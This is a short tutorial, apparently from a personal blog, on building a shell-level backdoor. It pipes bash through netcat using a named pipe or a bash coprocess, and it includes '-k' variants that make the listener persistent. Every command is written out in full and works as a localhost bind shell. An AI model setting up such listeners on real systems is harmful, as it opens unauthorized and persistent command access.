When setting up a backdoor at the shell level, you have to solve an old problem, that of having two processes communicate both input and output to each other. Pipes only provide a one-way mechanism, hooking one process's output to another's input.
There are multiple ways these days to solve this problem.
The more general method is to use a named pipe. Modern versions of linux provide named pipes. You can use a named pipe as simply as something like this to create a backdoor with netcat:
[langley@sophie ~]$ mkfifo fifo [langley@sophie ~]$ nc -l localhost 35002 < fifo | bash > fifo 2>&1
You can make this persistent as simply as by adding the "-k" option to netcat:
[langley@sophie ~]$ nc -k -l localhost 35002 < fifo | bash > fifo 2>&1
You can also take advantage of features like bash's coprocesses. (Only modern versions of bash provide coprocesses — this won't work with older versions of bash.) For instance, here's how to use this feature with netcat:
[langley@sophie ~]$ coproc bash 2>&1 [1] 17384 [langley@sophie ~]$ nc -l localhost 35001 <&${COPROC[0]} >&${COPROC[1]}
Again, you can make this persistent as simply as by adding "-k":
[langley@sophie ~]$ nc -k -l localhost 35001 <&${COPROC[0]} >&${COPROC[1]}